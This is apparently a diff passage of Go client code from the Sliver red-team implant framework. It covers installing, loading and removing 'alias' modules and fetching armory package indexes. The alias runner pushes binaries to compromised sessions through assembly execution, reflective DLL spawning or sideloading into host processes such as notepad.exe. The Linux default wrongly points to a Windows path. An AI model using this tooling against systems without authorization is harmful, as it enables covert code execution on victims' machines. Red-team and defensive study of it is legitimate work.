||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesInstallCmd - Install an alias
|
||||
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
aliasLocalPath := ctx.Args.String("path")
|
||||
fi, err := os.Stat(aliasLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFile(aliasLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(aliasLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Alias '%s' already exists", manifest.Name)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating alias directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, cmdFile := range manifest.Files {
|
||||
if cmdFile.Path != "" {
|
||||
src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file
|
||||
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, aliasFile := range manifest.Files {
|
||||
if aliasFile.Path != "" {
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, artifactPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
}
|
||||
@@ -0,0 +1,364 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
ManifestFileName = "alias.json"
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var (
|
||||
// alias name -> manifest/command
|
||||
loadedAliases = map[string]*loadedAlias{}
|
||||
|
||||
defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
)
|
||||
|
||||
// Ties the manifest struct to the command struct
|
||||
type loadedAlias struct {
|
||||
Manifest *AliasManifest
|
||||
Command *grumble.Command
|
||||
}
|
||||
|
||||
type AliasFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
type AliasManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
CommandName string `json:"command_name"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
var filePath string
|
||||
var err error
|
||||
for _, ef := range a.Files {
|
||||
if targetOS == ef.OS && targetArch == ef.Arch {
|
||||
filePath = ef.Path
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
|
||||
}
|
||||
return filePath, err
|
||||
}
|
||||
|
||||
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
alias, err := LoadAlias(dirPath, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load alias: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("%s alias has been loaded\n", alias.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// LoadAlias - Load an alias into the Sliver shell from a given directory
|
||||
func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
// retrieve alias manifest
|
||||
var err error
|
||||
dirPath, err = filepath.Abs(dirPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// parse it
|
||||
manifestPath := filepath.Join(dirPath, ManifestFileName)
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
alias, err := ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
alias.RootPath = filepath.Dir(manifestPath)
|
||||
// for each alias command, add a new app command
|
||||
|
||||
// do not add if the command already exists
|
||||
if cmdExists(alias.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", alias.CommandName)
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", alias.Name, alias.Help)
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: alias.Name,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(alias.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if alias.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.AliasHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(addAliasCmd)
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
// either by value or by ref fucks things up
|
||||
loadedAliases[alias.Name] = &loadedAlias{
|
||||
Manifest: alias,
|
||||
Command: addAliasCmd,
|
||||
}
|
||||
|
||||
return alias, nil
|
||||
}
|
||||
|
||||
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
// parse it
|
||||
alias := &AliasManifest{}
|
||||
err := json.Unmarshal(data, alias)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if alias.Name == "" {
|
||||
return nil, fmt.Errorf("missing alias name in manifest")
|
||||
}
|
||||
if alias.CommandName == "" {
|
||||
return nil, fmt.Errorf("missing command.name in alias manifest")
|
||||
}
|
||||
if alias.Help == "" {
|
||||
return nil, fmt.Errorf("missing command.help in alias manifest")
|
||||
}
|
||||
|
||||
for _, aliasFile := range alias.Files {
|
||||
if aliasFile.OS == "" {
|
||||
return nil, fmt.Errorf("missing command.files.os in alias manifest")
|
||||
}
|
||||
aliasFile.OS = strings.ToLower(aliasFile.OS)
|
||||
if aliasFile.Arch == "" {
|
||||
return nil, fmt.Errorf("missing command.files.arch in alias manifest")
|
||||
}
|
||||
aliasFile.Arch = strings.ToLower(aliasFile.Arch)
|
||||
aliasFile.Path = util.ResolvePath(aliasFile.Path)
|
||||
if aliasFile.Path == "" || aliasFile.Path == "/" {
|
||||
return nil, fmt.Errorf("missing command.files.path in alias manifest")
|
||||
}
|
||||
}
|
||||
|
||||
return alias, nil
|
||||
}
|
||||
|
||||
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
loadedAlias, ok := loadedAliases[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
alias := loadedAlias.Manifest
|
||||
binPath, err := alias.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(alias.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = alias.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := alias.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = alias.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if alias.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if alias.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: alias.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := RemoveAliasByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing alias: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Alias '%s' removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveAliasByCommandName - Remove an alias by command name
|
||||
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
|
||||
if commandName == "" {
|
||||
return errors.New("command name is required")
|
||||
}
|
||||
if _, ok := loadedAliases[commandName]; !ok {
|
||||
return errors.New("alias not loaded")
|
||||
}
|
||||
delete(loadedAliases, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
err := os.RemoveAll(extPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,453 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
type ArmoryIndex struct {
|
||||
Aliases []*ArmoryPackage `json:"aliases"`
|
||||
Extensions []*ArmoryPackage `json:"extensions"`
|
||||
Bundles []*ArmoryBundle `json:"bundles"`
|
||||
}
|
||||
|
||||
type ArmoryPackage struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
PublicKey string `json:"public_key"`
|
||||
|
||||
IsAlias bool `json:"-"`
|
||||
}
|
||||
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
}
|
||||
|
||||
type ArmoryHTTPConfig struct {
|
||||
IgnoreCache bool
|
||||
ProxyURL *url.URL
|
||||
Timeout time.Duration
|
||||
DisableTLSValidation bool
|
||||
}
|
||||
|
||||
type indexCacheEntry struct {
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Index ArmoryIndex
|
||||
LastErr error
|
||||
}
|
||||
|
||||
type pkgCacheEntry struct {
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Pkg ArmoryPackage
|
||||
Sig minisign.Signature
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
}
|
||||
|
||||
var (
|
||||
// public key -> armoryCacheEntry
|
||||
indexCache = sync.Map{}
|
||||
// public key -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
|
||||
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
)
|
||||
|
||||
// ArmoryCmd - The main armory command
|
||||
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
if len(indexes) != len(armoriesConfig) {
|
||||
con.Printf("errors!\n")
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
}
|
||||
return true
|
||||
})
|
||||
} else {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
|
||||
if 0 < len(indexes) {
|
||||
con.PrintInfof("Fetching package information ... ")
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
errorCount := 0
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
errorCount++
|
||||
if errorCount == 0 {
|
||||
con.Printf("errors!\n")
|
||||
}
|
||||
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
} else {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
if errorCount == 0 {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
}
|
||||
}
|
||||
|
||||
func refresh(clientConfig ArmoryHTTPConfig) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
}
|
||||
|
||||
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
return aliases, exts
|
||||
}
|
||||
|
||||
func bundlesInCache() []*ArmoryBundle {
|
||||
bundles := []*ArmoryBundle{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
indexBundles := value.(indexCacheEntry).Index.Bundles
|
||||
bundles = append(bundles, indexBundles...)
|
||||
return true
|
||||
})
|
||||
return bundles
|
||||
}
|
||||
|
||||
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
|
||||
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
for _, alias := range aliases {
|
||||
if strings.HasPrefix(alias.CommandName, prefix) {
|
||||
results = append(results, alias.CommandName)
|
||||
}
|
||||
}
|
||||
for _, extension := range exts {
|
||||
if strings.HasPrefix(extension.CommandName, prefix) {
|
||||
results = append(results, extension.CommandName)
|
||||
}
|
||||
}
|
||||
for _, bundle := range bundles {
|
||||
if strings.HasPrefix(bundle.Name, prefix) {
|
||||
results = append(results, bundle.Name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
// PrintArmoryPackages - Prints the armory packages
|
||||
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
type pkgInfo struct {
|
||||
CommandName string
|
||||
Version string
|
||||
Type string
|
||||
Help string
|
||||
URL string
|
||||
}
|
||||
entries := []pkgInfo{}
|
||||
for _, alias := range aliases {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: alias.CommandName,
|
||||
Version: alias.Version,
|
||||
Type: "Alias",
|
||||
Help: alias.Help,
